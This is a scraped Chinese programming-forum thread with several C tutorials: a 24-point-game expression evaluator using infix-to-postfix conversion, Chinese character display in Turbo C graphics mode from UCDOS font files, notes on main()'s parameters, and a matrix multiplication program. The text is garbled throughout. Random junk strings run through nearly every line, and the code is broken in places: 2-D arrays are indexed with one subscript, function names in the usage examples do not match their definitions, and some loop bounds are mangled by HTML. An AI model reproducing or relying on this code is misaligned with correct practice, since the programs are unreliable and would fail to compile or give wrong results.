( K3 q, Z. X8 I  _$ e
0 ^+ |* u9 y/ R$ T<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
2 }6 B* ^. F$ g. Fint first(char c)
- W! @: z$ X  `) e- r{ int p;$ l1 b, |& U) ?/ N4 l; q
switch(c)
* n4 N6 l# b) U# d/ ?2 w{ case '*': p=2; break;) J3 {5 T+ A5 Z5 m
case '/': p=2; break;
* A* J( E" u" wcase '+': p=1; break;0 q8 x9 c# V8 y: \5 f; v
case '-': p=1; break;
( U$ }1 x2 u. P: ?case '(': p=0; break;
. L. E2 R6 g% B5 @" Scase '=': p=-1; break;2 ~5 ]0 R& H& D& n0 n  K4 @
}
! f$ E4 Y6 |; S0 _( freturn(p);( N# ]) O0 I" G8 R. i
}! k) n2 m6 U% d7 P  M, ^
/* 此函数实现中缀到后缀的转换 */, A" M4 h, N* U( B/ L' f. @
/* M的值宏定义为20 */
9 Q+ t! V" Q" l; c( I% M8 y( E! M/* sp[]为表达式数组 */1 t( d6 y) c) l. K; Y
int mid_last(): d) ]9 R. M, L, e
{ int i=0,j=0; char c,sm[M];
3 ]4 v2 A* `! J3 Fc=s[0]; sm[0]='='; top=0;3 K1 q" h% }0 J7 [
while(c!='\0')
- M" R# Q* g& P- b: Q{ if(islower(c)) sp[j++]=c;# S" d- Y8 p! Z1 _+ q& t
else switch(c)) @8 B) s7 N2 Q0 u' D& G
{ case '+':
1 u4 L: [; S0 q; Y# C. b7 ]9 v+ V: N4 dcase '-':! R0 c7 D% k& g2 _7 m
case '*':
  W! b/ q3 [. d* B5 Lcase '/': while(first(c)&lt;=first(sm[top]))
3 I$ j2 V6 l4 b$ J, ?7 Asp[j++]=sm[top--];
" C: [' W7 P* Xsm[++top]=c; break;8 m! t& m6 x- Z5 B
case '(': sm[++top]=c; break;' a0 d/ k- F+ I8 O; g% u
case ')': while(sm[top]!='(')
; }/ q  i9 R6 k; r0 e) z3 E- nsp[j++]=sm[top--];
! j7 P- L& _7 {! r1 Ktop--; break;
, N/ D& R2 m- F; ^' v5 ndefault :return(1);; L& ^8 }& u) y' T6 n: D
}) T& G& s* x4 D* U3 H
c=s[++i];
7 P, f0 e. a) n: |8 m* N}2 P" m6 D* P" Y* R( a; A5 B) A+ R
while(top&gt;0) sp[j++]=sm[top--];
: C! Q2 P% }% J2 esp[j]='\0'; return(0);6 h) E( l* b1 B% S
}5 t! J: ~" k+ [* i: t# q
/* 由后缀表达式来计算表达式的值 */8 ]: S' ?% E( m+ ]1 u
int calc()
: g* V. x3 i* z. `; [{ int i=0,sm[M],tr; char c;
0 ~" ?0 }$ D% [6 h9 X* D9 Ic=sp[0]; top=-1;
) ]! G7 f. Q: v3 m9 r  x% M) Ewhile(c!='\0')
3 e" M/ a  p: f. ?2 z( O{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,; T' ~4 a' U- L
这样才可以更方便的处理非一位数, ; ?4 X' i- B, O: Y. ^0 H5 X$ z* ~# R
ver数组中存放着这些字母所代替的数*/
. L4 S' R" n% H" ^! @. velse switch(c)3 C+ o  \/ ]" W  Z# U9 k+ U
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
$ H! r' Q* z  \  _+ Scase '-': tr=sm[top--]; sm[top]-=tr; break;
) n5 D) e6 D  A( n+ Fcase '*': tr=sm[top--]; sm[top]*=tr; break;
! ~! ]8 w% o. d8 g! xcase '/': tr=sm[top--];sm[top]/=tr;break;
) T8 B1 ?% Y9 q$ q7 ]3 L2 Fdefault : return(1);
0 Z3 V6 b( n  `9 o; K$ }}
( @( }% `# P0 `% J( Qc=sp[++i];
1 F1 f; e6 R( {5 F. L}' ]4 T5 r' f  K0 }& G) \6 o
if(top&gt;0) return(1);3 a. F9 h/ [  V- p
else { result=sm[top]; return(0); }
( F4 |/ _) z5 i2 w8 L5 u}
1 T% A8 X6 @* C</FONT>
9 m5 g  ~5 C3 Z  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
; e; T3 v6 ]6 C1 g+ n* q9 b. [! |. C- A1 `6 g) i
  最后我总结了一下这其中容易出错的地方——
  N! @& c7 f, r$ C  Y: J- z
/ g+ r" u2 t; y( b1 w. r, P; ~  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
2 }$ B9 E! y0 u$ q( J! u
0 Q, d8 O  O$ d- J  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
0 ]* f/ v6 t6 Z  A# v- O1 o* r- I6 b; p# E# y3 W: U6 c5 h
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
3 X0 r- d+ }$ }4 n4 M' S
- d' g/ t) [& E' U  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
* }1 X8 n( {) b& S; U) @* W$ W8 ^: o6 p7 t. Y6 e' R6 R
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。1 b) g% b$ ^; ^1 T: W% b1 d

4 Y2 v( J% s1 I/ R  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。7 b7 m, @2 u: N! T* {

7 i' O! B+ _, M8 y# q3 N* o5 N5 J  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。8 }! o" m3 Z3 o- l
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
4 D+ F1 Y% s) B5 P5 L: q图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
, H5 e6 L$ k) x1 P' ?$ L8 H  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
1 m" n5 l/ M" |  汉字显示的第一步是打开字库文件。 + e, d( x& G- a& d; P# v( f
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。2 {) u. Y2 V& u& `1 F0 z9 O
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)+ g; P9 k9 G$ p6 N
{
4 g% M% ~/ k1 N$ c, R. Junsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/' c; B- p1 D9 J1 `
int rec,i1,i2,i3; /*z:space between;*/. `2 i, u3 _0 j1 D7 A( @: x
long l; /*color:txt color*/: Q; [6 u9 Y+ ]) W$ p
char by[32]; /*p:HZ str*/) ^0 F  t/ o3 w8 h1 T# ^# ?1 J
if( handle&lt;0 ) return -1; while((i=*p++)!=0){7 K$ R2 U. ]/ Y
if(i&gt;0xa1)
" ~: ~$ W1 ~5 d) {; Wif(f==0){
  R2 }* {0 U2 s  E; N4 q9 Oc1=(i-0xa1)&amp;0x07f;& x6 s4 S+ u8 X+ _0 x' x
f=1;
4 K% T1 O+ J+ j) K7 K}7 |" F7 [* A1 D
else{% ?' A# a7 S- Q3 B1 Y$ I% j! [: W
c2=(i-0xa1)&amp;0x07f;
1 j# f8 j, J9 p7 _5 K0 yf=0;
4 o) K- X; H' f5 D) e2 T6 rrec=c1*94+c2;
' @( }9 B* e/ ]- o- s* Cl=rec*32L;
* I" H4 G: e2 ]/ }' ~9 A1 `lseek(handle,l,SEEK_SET);; F' t! @9 d& v. s5 A
read(handle,by,32);6 a5 j/ R+ |% c  M! {9 j
for(i1=0;i1&lt;16;i1++)
2 G/ a& W/ q0 A  ^" m" Lfor(i2=0;i2&lt;2;i2++)
2 w1 n) B6 l- Y4 l. b/ ?: l1 `for(i3=0;i3&lt;8;i3++)4 M& h; K; F2 n* y, p- l
if(GetBit(by[i1*2+i2],7-i3))1 W' ~, R5 h1 e6 y
putpixel(x+i2*8+i3,y+i1,color);
# ]  D/ E) I5 Z% m8 z# W- fx=x+z+16;
* K' ~5 N+ ^, x}
0 [) ~) N2 N% d* G) p; L9 E) ]}+ ]  K, W0 |, p% u7 M0 i+ t
return(x);
# G& Y7 k# V, Y5 J6 l  I}
  B8 x9 L& g% X& p0 P. y# s函数GetBit定义如下:1 q/ M, @- C! }7 i' j
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
- t8 u6 R+ [$ b# m0 Eint GetBit(unsigned char c,int n)8 m, x8 c0 f; f3 T
{8 t! t& n# ?% X7 i& ~
return((c&gt;&gt;n)&amp;1);/ j, n4 ~! M0 d, \
}$ z1 z2 l6 {, w$ q! E$ Q
汉字显示结束,应该关闭字库文件。! k- [, D1 x6 Y' ^, d
void CloseHz(void)
0 ?: J8 p' W5 ~{
( c  Q. }# ^+ W' Eclose( handle );0 d' l( H( u! y# S
}
: g( i, x/ }6 u#include "\Caic\Include\Hz.h"6 p9 v) R# j: f  R* M
#include <GRAPHICS.H>
6 c+ g: w! Z9 @* c" x#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";2 H2 {( B* ^. F; r! W2 d; `: |8 [
const char* HzStr = "苦丁香C语言辅助学习软件";3 M6 p8 t; V: D
void main(){3 g! |% [% `6 c4 s
int gr=DETECT,gm;
+ J3 m2 A7 \$ t9 }initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
. c5 F$ k+ {7 BOpenHz( Hz16Path );
9 q9 D8 B/ P5 v; f+ _Wrt16Hz(20,20,4,RED,HzStr);# ~8 q' l; N2 U. C- q
CloseHz();
: ?! Y  U- m% U- ]( q4 P' `getch();5 p3 p8 d9 D" ^/ A9 }# K9 x
closegraph();
: L6 q# c. f( g}显示24点阵及放大汉字
  K% }. G6 y9 \" u7 q  N  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
$ U" }" d9 ]- G* L函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
( h$ C) j6 Y9 H4 |2 Lint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
9 c' c8 S7 t% }2 o{$ R8 o3 W8 d) _' C# J
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
) X+ Q1 M/ J8 Y" d5 S7 q$ o4 Eint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/* N5 q, `  d3 i6 E( ~
long l; /*color:汉字颜色*/
1 T1 m# _+ j( X. e# Y, G9 Y" X6 Kchar by[72]; /*m: x 方向的放大倍数*/% z( U5 S# v& \- E
/*n: y 方向的放大倍数*/
7 w4 W+ r" ^) t- _if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){' v7 a& X( K, y' F
if(i&gt;0xa1): K% }7 S( x& P2 [: j
if(f==0){
5 p% n7 J+ N) w" Z4 Y7 p9 P" Yc1=(i-0xa1)&amp;0x7f;
5 _  \3 h# m# v( W# K- ?! d& n6 gf=1;
! x$ X- y9 ^9 _; v0 u2 ^0 R$ h}9 W+ j9 i0 v9 q: J$ f
else{
0 o# W% _+ s, n& Z! ec2=(i-0xa1)&amp;0x7f;
* m3 X* u! n7 V0 W) bf=0;4 z# B, |* j& A( Z
rec=(c1-15)*94+c2;
3 j6 i2 L% p4 b0 }4 V9 h6 b% sl=rec*72L;
; Y6 o( K5 Z  ~/ M2 H5 B4 Ylseek(handle,l,SEEK_SET);
3 n' N& M; P; k, B# g; z: ?read(handle,by,72);- R' V9 q  q4 I+ X$ W( w' v
for(i1=0;i1&lt;24*m;i1=i1+m)) C1 i$ K/ W7 L8 f& F
for(i4=0;i4<M;I4++)
( I1 j8 b' c( B, _1 X0 ~9 D for(i2=0;i2&lt;=2;i2++)
4 T9 \4 D: G9 O! z% bfor(i3=0;i3&lt;8;i3++)5 E5 `  N7 h7 a1 E" R9 h" V4 I0 Q
if(GetBit(by[i1/m*3+i2],7-i3))1 x. C# g9 x6 l1 a% q: @
for(i5=0;i5<N;I5++)
: U/ M% Y& j/ `; T+ U3 \+ M# f7 L putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
" y7 g7 Y, C& C' qx=x+24*m+z;
9 P, {  h0 y4 M+ b: ^  `: k; b}
* c6 v% a/ _4 X1 ]; L! {5 Z}$ T% [0 G: \' x& u- U
return(x);& M$ H% z; P  A, y% F( e
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
, i2 }6 o( g. k' s  @* R#include <GRAPHICS.H>
& w3 G' D' _$ V* q/ X. T3 s#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
3 G0 |! S6 Z5 O& p3 V3 N" }const char* HzStr = "苦丁香C语言辅助学习软件";% ~0 A3 u# r; I
void main(){2 r7 i6 R4 [& H6 `, w6 \" x8 G
int gr=DETECT,gm;
$ W+ r- w$ O' R' R! Z" T6 Finitgraph(&amp;gr,gm,"\\Caic\\Bgi");* _* f9 [) ^5 ?+ o9 G
OpenHz( Hz24Path );
8 {$ m! }) h) s) R3 \Wrt24Hz(20,20, /*先是在(x,y)*/
, s+ y/ h# x/ t4, /*汉字间的空格为4*/
1 s3 r; v, v! F) U: W) E/ G6 rRED, /*用红色显示*/( Y& c6 ?3 q2 p. I+ W
2, /*x 方向放大2倍*/+ n- Z0 R! Y% @+ B: |
4, /*y 方向放大4倍*/
$ C0 C# I; D6 \HzStr); /*显示字符串*/0 |0 v' [. O3 f8 ~9 U8 k5 j
CloseHz();
6 v1 L+ O  E; o: E. x* }0 U! _. _5 Tgetch();) A, b1 t2 p, d. P; v% [
closegraph();
8 {' O2 D5 t* ^+ S* v} 7 Z% e) |, m, q
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
" Q- D# f8 y# b% o$ b- c7 m  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
* a! C7 F! M" x1 K, K9 P. m0 Z6 A1. main() 参数" I: |3 ]) J7 t6 m
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
7 S+ D' f8 d* Q$ D1 v2 ]* U: R  * argc: 整数,为传给main()的命令行参数个数。
. M* D" s3 C' x3 J$ o3 E: ^  * argv: 字符串数组。8 ~0 y( F1 k. d* u; \3 \' a5 V: t  {" k
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;! s9 _7 x. Z$ S1 U* l
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;  O9 R) `, a0 ?! ?4 O; y
...9 t' g( X3 e5 L; s: @# }, c: w8 N
argv[argc]为NULL。5 [1 }; {$ K1 Q1 u
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
2 w* H% j' p- U! G/ A值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/  y5 h5 D8 I# f0 ?1 {7 {3 `' i) W9 z
#include&lt;stdio.h&gt;5 u5 D. k% x$ b1 Z) R7 a5 w
#include&lt;conio.h&gt;) P0 F+ z' ]) y. [. r; r
#define X 3- g4 |, r% ?) D+ P
#define Y 3</P><>int a[X][Y];
# Z, u/ b! I, Jint b[X][Y];
3 p  ^) h  x9 c! Kint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);6 R' q: G" G# W' [- ~
main()2 _6 W7 g+ Y; q: c+ P
{/ W# J- \% ^: j" v* e" t4 `
int i,j,temp;
+ \. x/ A/ [! w" S6 I  Q* Y3 xclrscr();
6 H4 ?/ G$ {$ j9 a' Yprintf("lease input int matrix b[%d][%d]\n",X,Y);
/ ~$ E, j& }$ \: ~$ ffor(i=0;i&lt;Y;i++)4 o$ B$ d+ ]1 i2 Q
for(j=0;j&lt;Y;j++){) ]! q' y& f! E. a8 j3 E) j
scanf("%d",&amp;temp);
# ~' c  m" Q, Y. v3 h. P/ Yb[j]=temp;
4 G, W% I: m9 N# u}" _7 `: d& E, E2 L3 Q/ W6 C
printf("lease input int matrix c[%d][%d]\n",X,Y);
- P9 m6 z" o1 f8 \7 [for(i=0;i&lt;X;i++)) n  }- V3 v  g9 J* X
for(j=0;j&lt;Y;j++){
: ^; t: G. I; Z2 Ascanf("%d",&amp;temp);
# e& I+ F. @' k1 zc[j]=temp;
8 p) |, p) [' L! l7 E0 |9 e}
, ]6 m- ~" f0 ]$ z. }matrix(b,c);8 j: Q. z( k  x0 y
printf("Now print resource matrix b[%d][%d]=",X,Y);# {( \4 n' G+ u9 A8 t
for(i=0;i&lt;X;i++){
2 F" |2 _2 ?0 f6 @2 s' |4 s( `printf("\n");
9 a; e! r. T- l6 k. ]; A& Xfor(j=0;j&lt;Y;j++)
* Z$ y3 B2 Z& W. r# y6 |; r+ aprintf("%d ",b[j]);/ @  n6 N& w9 `. ^, h
}
# o5 z2 r4 T: P9 Pprintf("\n");6 }! e0 s& s8 J$ U# q' u: ^
printf("Now print resource matrix c[%d][%d]=",X,Y);9 Y6 K7 ^6 C& f& q
for(i=0;i&lt;X;i++){
- t+ q. ^; M" Zprintf("\n");
% c$ g# V% F$ n+ b' j  Tfor(j=0;j&lt;Y;j++)
1 ~  _  K5 q( [! O" jprintf("%d ",c[j]);4 b8 e; B/ r$ S2 N) ~/ J7 Z, H
}
5 G4 x; v! }3 M6 \# H  ]7 z% eprintf("\n");' s) h" b9 C1 P' a! h$ }& X! {( i
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
4 q7 j4 r! X: L* j- o1 wfor(i=0;i&lt;X;i++){" u* Q/ @  O) ]" |' P! |
printf("\n");
- H* x" G- D6 H* E: K5 L8 Ffor(j=0;j&lt;Y;j++). h* j" }+ f' t4 g- [
printf("%d ",a[j]);  I. A$ o1 C1 A
}+ n5 j) {! g+ s0 H/ x% y8 o2 B
getch();
3 x. i' T5 i9 C6 _* Oreturn 0;
  G9 R/ T. S' s0 K9 ^8 [}
7 @% ?4 y' E6 c! C- Z: v7 W/********************************************************************/
( A+ H) G; a/ E7 S, z) Uvoid matrix(int b[][X],int c[][Y])
# f9 T  M- G' K. I; e{
6 c8 J" K" i3 o- u& Nint i,j,k,temp;6 k% `: e0 u8 b' G( `
for(i=0;i&lt;X;i++)
1 {  w) K* N+ W' pfor(j=0;j&lt;Y;j++){( @1 c$ g( G( w0 \7 E
for(k=0;k&lt;Y;k++)7 p& ?. Z: m! S& v. U; h6 l1 Y
a[j]+=b[k]*c[k][j];
! N# k3 t% \" x}. u$ L, L0 v  h" t' [3 b
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 13:03 , Processed in 0.503823 second(s), 89 queries .

回顶部